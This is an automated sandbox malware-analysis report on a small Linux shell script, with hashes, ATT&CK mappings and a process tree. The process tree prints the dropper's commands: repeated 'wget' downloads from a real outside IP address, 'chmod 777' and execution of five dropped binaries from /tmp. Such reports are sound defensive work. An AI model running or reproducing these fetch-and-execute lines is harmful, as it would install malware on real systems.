7e9336f205cc08240bc638cde5a91efcb162f9573f5064ddd81e34d635f0a8a6

Analysis

max time kernel
1s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/08/2026, 08:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260804-j9fqsavejg
SHA256 7e9336f205cc08240bc638cde5a91efcb162f9573f5064ddd81e34d635f0a8a6
MD5 028ebc88cecb43281035961ca27b91b9
SHA1 a292b82066a6a9232c7e0ee2b5821adc04db9f87
SHA512 e934465ea59e36d2c0c2befaf0dc7d7ab1a2c94f9dff9e12c0e62bbe3337d0bd3e8974dcff22c3dfc629460c460611cd252353a034dc22f7467b46fe12fbae37
TLSH
T14601EBCAD1205940809AD41E23D71064F830C3C72A8B4B75BF5CA9399B94E08B07AFE4
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1674	chmod
1679	chmod
1684	chmod
1689	chmod
1695	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/b5x	1675	lil.sh
/tmp/yWy4	1680	lil.sh
/tmp/FKO	1685	lil.sh
/tmp/eAC	1690	lil.sh
/tmp/S4Cq	1696	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b5x	wget
File opened for modification	/tmp/yWy4	wget
File opened for modification	/tmp/FKO	wget
File opened for modification	/tmp/eAC	wget
File opened for modification	/tmp/S4Cq	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1495
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:1496
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:1497
- /bin/ls
  ls -l /proc/1014/exe
  2⤵
  PID:1498
- /bin/ls
  ls -l /proc/1015/exe
  2⤵
  - Reads runtime system information
  PID:1499
- /bin/ls
  ls -l /proc/1022/exe
  2⤵
  - Reads runtime system information
  PID:1500
- /bin/ls
  ls -l /proc/1026/exe
  2⤵
  - Reads runtime system information
  PID:1501
- /bin/ls
  ls -l /proc/1030/exe
  2⤵
  - Reads runtime system information
  PID:1502
- /bin/ls
  ls -l /proc/1034/exe
  2⤵
  - Reads runtime system information
  PID:1505
- /bin/ls
  ls -l /proc/1038/exe
  2⤵
  PID:1506
- /bin/ls
  ls -l /proc/1043/exe
  2⤵
  PID:1507
- /bin/ls
  ls -l /proc/1047/exe
  2⤵
  PID:1508
- /bin/ls
  ls -l /proc/1049/exe
  2⤵
  PID:1509
- /bin/ls
  ls -l /proc/1052/exe
  2⤵
  - Reads runtime system information
  PID:1510
- /bin/ls
  ls -l /proc/1055/exe
  2⤵
  PID:1512
- /bin/ls
  ls -l /proc/1057/exe
  2⤵
  PID:1513
- /bin/ls
  ls -l /proc/1066/exe
  2⤵
  PID:1514
- /bin/ls
  ls -l /proc/1067/exe
  2⤵
  - Reads runtime system information
  PID:1515
- /bin/ls
  ls -l /proc/1069/exe
  2⤵
  PID:1516
- /bin/ls
  ls -l /proc/1073/exe
  2⤵
  - Reads runtime system information
  PID:1518
- /bin/ls
  ls -l /proc/1078/exe
  2⤵
  PID:1519
- /bin/ls
  ls -l /proc/1086/exe
  2⤵
  - Reads runtime system information
  PID:1520
- /bin/ls
  ls -l /proc/1089/exe
  2⤵
  PID:1521
- /bin/ls
  ls -l /proc/1091/exe
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/ls
  ls -l /proc/1092/exe
  2⤵
  PID:1523
- /bin/ls
  ls -l /proc/1093/exe
  2⤵
  PID:1524
- /bin/ls
  ls -l /proc/1096/exe
  2⤵
  - Reads runtime system information
  PID:1525
- /bin/ls
  ls -l /proc/1098/exe
  2⤵
  - Reads runtime system information
  PID:1526
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/ls
  ls -l /proc/1139/exe
  2⤵
  PID:1528
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:1529
- /bin/ls
  ls -l /proc/1152/exe
  2⤵
  PID:1530
- /bin/ls
  ls -l /proc/1160/exe
  2⤵
  PID:1531
- /bin/ls
  ls -l /proc/1161/exe
  2⤵
  PID:1532
- /bin/ls
  ls -l /proc/1178/exe
  2⤵
  - Reads runtime system information
  PID:1533
- /bin/ls
  ls -l /proc/1195/exe
  2⤵
  - Reads runtime system information
  PID:1534
- /bin/ls
  ls -l /proc/1197/exe
  2⤵
  PID:1535
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:1536
- /bin/ls
  ls -l /proc/1254/exe
  2⤵
  - Reads runtime system information
  PID:1537
- /bin/ls
  ls -l /proc/1259/exe
  2⤵
  PID:1538
- /bin/ls
  ls -l /proc/1296/exe
  2⤵
  PID:1539
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:1540
- /bin/ls
  ls -l /proc/1302/exe
  2⤵
  - Reads runtime system information
  PID:1541
- /bin/ls
  ls -l /proc/1314/exe
  2⤵
  - Reads runtime system information
  PID:1542
- /bin/ls
  ls -l /proc/1334/exe
  2⤵
  PID:1543
- /bin/ls
  ls -l /proc/1339/exe
  2⤵
  PID:1544
- /bin/ls
  ls -l /proc/1351/exe
  2⤵
  PID:1545
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:1546
- /bin/ls
  ls -l /proc/1386/exe
  2⤵
  PID:1547
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:1548
- /bin/ls
  ls -l /proc/1463/exe
  2⤵
  - Reads runtime system information
  PID:1549
- /bin/ls
  ls -l /proc/1487/exe
  2⤵
  - Reads runtime system information
  PID:1553
- /bin/ls
  ls -l /proc/1490/exe
  2⤵
  - Reads runtime system information
  PID:1554
- /bin/ls
  ls -l /proc/1491/exe
  2⤵
  PID:1555
- /bin/ls
  ls -l /proc/1492/exe
  2⤵
  PID:1556
- /bin/ls
  ls -l /proc/1495/exe
  2⤵
  - Reads runtime system information
  PID:1557
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:1558
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:1560
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:1561
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  - Reads runtime system information
  PID:1562
- /bin/ls
  ls -l /proc/161/exe
  2⤵
  - Reads runtime system information
  PID:1563
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  - Reads runtime system information
  PID:1564
- /bin/ls
  ls -l /proc/163/exe
  2⤵
  PID:1565
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  PID:1566
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:1567
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:1568
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  PID:1569
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  PID:1570
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:1571
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:1572
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  PID:1573
- /bin/ls
  ls -l /proc/171/exe
  2⤵
  PID:1574
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  PID:1575
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  PID:1576
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  PID:1577
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  - Reads runtime system information
  PID:1578
- /bin/ls
  ls -l /proc/177/exe
  2⤵
  PID:1579
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1580
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:1581
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:1582
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:1583
- /bin/ls
  ls -l /proc/202/exe
  2⤵
  PID:1584
- /bin/ls
  ls -l /proc/203/exe
  2⤵
  PID:1585
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:1586
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:1587
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:1588
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:1589
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:1590
- /bin/ls
  ls -l /proc/258/exe
  2⤵
  PID:1591
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:1592
- /bin/ls
  ls -l /proc/269/exe
  2⤵
  PID:1593
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:1594
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:1595
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:1596
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1597
- /bin/ls
  ls -l /proc/30/exe
  2⤵
  PID:1598
- /bin/ls
  ls -l /proc/31/exe
  2⤵
  PID:1599
- /bin/ls
  ls -l /proc/32/exe
  2⤵
  PID:1600
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  PID:1601
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  PID:1602
- /bin/ls
  ls -l /proc/34/exe
  2⤵
  PID:1603
- /bin/ls
  ls -l /proc/35/exe
  2⤵
  PID:1604
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:1605
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1606
- /bin/ls
  ls -l /proc/413/exe
  2⤵
  - Reads runtime system information
  PID:1607
- /bin/ls
  ls -l /proc/414/exe
  2⤵
  PID:1608
- /bin/ls
  ls -l /proc/416/exe
  2⤵
  - Reads runtime system information
  PID:1609
- /bin/ls
  ls -l /proc/437/exe
  2⤵
  PID:1610
- /bin/ls
  ls -l /proc/448/exe
  2⤵
  PID:1611
- /bin/ls
  ls -l /proc/449/exe
  2⤵
  - Reads runtime system information
  PID:1612
- /bin/ls
  ls -l /proc/451/exe
  2⤵
  PID:1613
- /bin/ls
  ls -l /proc/465/exe
  2⤵
  PID:1614
- /bin/ls
  ls -l /proc/474/exe
  2⤵
  - Reads runtime system information
  PID:1615
- /bin/ls
  ls -l /proc/482/exe
  2⤵
  PID:1616
- /bin/ls
  ls -l /proc/486/exe
  2⤵
  - Reads runtime system information
  PID:1617
- /bin/ls
  ls -l /proc/491/exe
  2⤵
  PID:1618
- /bin/ls
  ls -l /proc/493/exe
  2⤵
  - Reads runtime system information
  PID:1619
- /bin/ls
  ls -l /proc/495/exe
  2⤵
  PID:1620
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:1621
- /bin/ls
  ls -l /proc/501/exe
  2⤵
  - Reads runtime system information
  PID:1622
- /bin/ls
  ls -l /proc/503/exe
  2⤵
  - Reads runtime system information
  PID:1623
- /bin/ls
  ls -l /proc/505/exe
  2⤵
  - Reads runtime system information
  PID:1624
- /bin/ls
  ls -l /proc/522/exe
  2⤵
  PID:1625
- /bin/ls
  ls -l /proc/523/exe
  2⤵
  PID:1626
- /bin/ls
  ls -l /proc/534/exe
  2⤵
  PID:1627
- /bin/ls
  ls -l /proc/552/exe
  2⤵
  - Reads runtime system information
  PID:1628
- /bin/ls
  ls -l /proc/560/exe
  2⤵
  PID:1629
- /bin/ls
  ls -l /proc/574/exe
  2⤵
  PID:1630
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:1631
- /bin/ls
  ls -l /proc/600/exe
  2⤵
  PID:1632
- /bin/ls
  ls -l /proc/603/exe
  2⤵
  - Reads runtime system information
  PID:1633
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:1634
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:1635
- /bin/ls
  ls -l /proc/667/exe
  2⤵
  PID:1636
- /bin/ls
  ls -l /proc/669/exe
  2⤵
  PID:1637
- /bin/ls
  ls -l /proc/674/exe
  2⤵
  - Reads runtime system information
  PID:1638
- /bin/ls
  ls -l /proc/676/exe
  2⤵
  PID:1639
- /bin/ls
  ls -l /proc/697/exe
  2⤵
  PID:1640
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:1641
- /bin/ls
  ls -l /proc/721/exe
  2⤵
  - Reads runtime system information
  PID:1642
- /bin/ls
  ls -l /proc/729/exe
  2⤵
  PID:1643
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:1644
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  - Reads runtime system information
  PID:1645
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:1646
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  - Reads runtime system information
  PID:1647
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:1648
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:1649
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  PID:1650
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  PID:1651
- /bin/ls
  ls -l /proc/86/exe
  2⤵
  PID:1652
- /bin/ls
  ls -l /proc/879/exe
  2⤵
  PID:1653
- /bin/ls
  ls -l /proc/89/exe
  2⤵
  PID:1654
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1655
- /bin/ls
  ls -l /proc/901/exe
  2⤵
  - Reads runtime system information
  PID:1656
- /bin/ls
  ls -l /proc/906/exe
  2⤵
  - Reads runtime system information
  PID:1657
- /bin/ls
  ls -l /proc/909/exe
  2⤵
  PID:1658
- /bin/ls
  ls -l /proc/923/exe
  2⤵
  - Reads runtime system information
  PID:1659
- /bin/ls
  ls -l /proc/928/exe
  2⤵
  PID:1660
- /bin/ls
  ls -l /proc/942/exe
  2⤵
  - Reads runtime system information
  PID:1661
- /bin/ls
  ls -l /proc/948/exe
  2⤵
  PID:1662
- /bin/ls
  ls -l /proc/962/exe
  2⤵
  PID:1663
- /bin/ls
  ls -l /proc/966/exe
  2⤵
  PID:1664
- /bin/ls
  ls -l /proc/968/exe
  2⤵
  PID:1665
- /bin/ls
  ls -l /proc/971/exe
  2⤵
  - Reads runtime system information
  PID:1666
- /bin/ls
  ls -l /proc/976/exe
  2⤵
  PID:1667
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:1668
- /bin/ls
  ls -l /proc/986/exe
  2⤵
  PID:1669
- /bin/ls
  ls -l /proc/990/exe
  2⤵
  - Reads runtime system information
  PID:1670
- /bin/ls
  ls -l /proc/999/exe
  2⤵
  - Reads runtime system information
  PID:1671
- /bin/rm
  rm -rf b5x
  2⤵
  PID:1672
- /usr/bin/wget
  wget http://129.121.110.105/b5x
  2⤵
  - Writes file to tmp directory
  PID:1673
- /bin/chmod
  chmod 777 b5x
  2⤵
  - File and Directory Permissions Modification
  PID:1674
- /tmp/b5x
  ./b5x lilin
  2⤵
  PID:1675
- /bin/rm
  rm -rf yWy4
  2⤵
  PID:1677
- /usr/bin/wget
  wget http://129.121.110.105/yWy4
  2⤵
  - Writes file to tmp directory
  PID:1678
- /bin/chmod
  chmod 777 yWy4
  2⤵
  - File and Directory Permissions Modification
  PID:1679
- /tmp/yWy4
  ./yWy4 lilin
  2⤵
  PID:1680
- /bin/rm
  rm -rf FKO
  2⤵
  PID:1682
- /usr/bin/wget
  wget http://129.121.110.105/FKO
  2⤵
  - Writes file to tmp directory
  PID:1683
- /bin/chmod
  chmod 777 FKO
  2⤵
  - File and Directory Permissions Modification
  PID:1684
- /tmp/FKO
  ./FKO lilin
  2⤵
  PID:1685
- /bin/rm
  rm -rf eAC
  2⤵
  PID:1687
- /usr/bin/wget
  wget http://129.121.110.105/eAC
  2⤵
  - Writes file to tmp directory
  PID:1688
- /bin/chmod
  chmod 777 eAC
  2⤵
  - File and Directory Permissions Modification
  PID:1689
- /tmp/eAC
  ./eAC lilin
  2⤵
  PID:1690
- /bin/rm
  rm -rf S4Cq
  2⤵
  PID:1692
- /usr/bin/wget
  wget http://129.121.110.105/S4Cq
  2⤵
  - Writes file to tmp directory
  PID:1693
- /bin/chmod
  chmod 777 S4Cq
  2⤵
  - File and Directory Permissions Modification
  PID:1695
- /tmp/S4Cq
  ./S4Cq lilin
  2⤵
  PID:1696
- /bin/rm
  rm -rf lil
  2⤵
  PID:1698

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FKO

Path /tmp/FKO
Size 87KB
SHA256 cc3b5315c3ea9fb7c58a4f2c6f49d5ca4f37791c2289d0ab19626dc3d7eeb50b
MD5 d416f402356ee73f6e684fe8550cfd87
SHA1 2d418001f21a4892481f8ec845f6445b2e3c8cd1
SHA512 15e675e516b8089b5ef150845ea5e587e2fc5c198cb1fae3a40d88a89591d9fe8a34afbc40956565d53bde204ddeb6f0f88fae062cb13822a22aa73a47ca5418
SSDEEP 1536:tmnzHmTTjSTil6rUgXWDrU4oZCdisb/6S2Yn/RIC7iaZOyd00yqdlEUiaWND5D9v:YHm/jVoQy0SCd96S2w7iaZOyd27oWNPT
TLSH
T14793186ABD409F09D4C526BAFE5E534D33532BB8E3EE7102DE146B2527CA91B0F3A441
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

S4Cq

Path /tmp/S4Cq
Size 102KB
SHA256 180ffa949c9b8aaf004e0d68bb09feae79e1578ab3df085de22c625aa027b122
MD5 8808fc82e82ae2e88511b41353c6d17d
SHA1 7468483e4fe3ebb12b156770bf7a7a1938798589
SHA512 7a867a092be2a3d146b30c310487191c737309d727f1af19bbe44ca73483e2afe5044482711f9d00a043d826a7578078372e064dae4f2fb52b016a27292c0a08
SSDEEP 1536:jVIjzrLUFpWKxwJvrMvaGp1/BjvjkEl3BGXtMWVaEQa0C66syJDO3E:CwyKxqvovJFKQF
TLSH
T1C4A3E91ABF611EB7D81BCD3706AD060239CC951772683B767538D828F68A54B8AD3CF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b5x

Path /tmp/b5x
Size 73KB
SHA256 4a095b2f18caf5c97e89c61c605c294cb72f835afc76bf5e75aea009d8ec39ff
MD5 d797d2f80a713f9ca93d4beff102e9cb
SHA1 4588610cb28deff6c176813c209480e95ca57c9d
SHA512 92c2484332ab227b2638f25a7cd31c07cf0367059b4cf1ae44d6aa19b3745a56c7dc29f1e175202327f11a650c390d2b081125e29caba33701f7a839e1ac5dec
SSDEEP 1536:a1hjGC+ig4TlqbV5Vrj3miAQ6uzaRvZdaTwNZcrOF6EqRAh5Dfr:a1hqvZ4kZ5d3rA/uGxDcwHYOF6EqRg
TLSH
T1A0731726B9419F0BC6C25677BF2E8349331627BCE3DA3103DE156F6137DB52A0E2A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eAC

Path /tmp/eAC
Size 101KB
SHA256 35ac240d345da5908152dd2362e0b426e37b3c8d7a47d84e22f1b3d81b44a011
MD5 c3467035536d6673d3fa2f17e67eba33
SHA1 4167c0f41bd03140f6a48e2413dea0923f597952
SHA512 b45bdbf0c9708f0618f0fd5d72a69db80851f163aafe087b2f72ab3a4ab4f3edbbafaa905e80b71369e6f48b83f48c53857830e5ddfc88db80983b69c311d1a4
SSDEEP 1536:so3SnBc1QwHhHuSj7csePU6QZ1A/zx5qHs3IoTWkRoSvzcxmlL9Zb+Dhv/JDjJ41:sPbwHhHXcswmZ1A95qqIoqG2x+b+D2WK
TLSH
T146A3B80E2E619F7CF3A9823497F74F30AB5963E126D1C588D19CD5002E7474E581F7AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

yWy4

Path /tmp/yWy4
Size 74KB
SHA256 1b0d9849aa9f3f57eff1e32595e6b102b16019fca1012ebb31a0d3ab3344446a
MD5 aa63fb79ad1fb7c395543dace213160f
SHA1 a94b4174c8d337594085e1fff7901f960639bfd8
SHA512 3f8c8780c34a02a15edbc254765d035a2b6a34b6236d5290c92f4a84063c7570f65b0163fb244282806bcd171bbb8949f32603db362a7a7e5501a1b4fc03a6c8
SSDEEP 1536:Zin1Q67nlJrkbh3w+hZ3L+wwhmUCvYl4C7AE8ixkz71F0wc5Df8:aQ6bl+bxBOoUCvKnkz71Fl
TLSH
T116733A2AB9419F1AD4C1167AFE1D534E33132BBCE3DE7213DE146B246B8B51B0E3A845
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads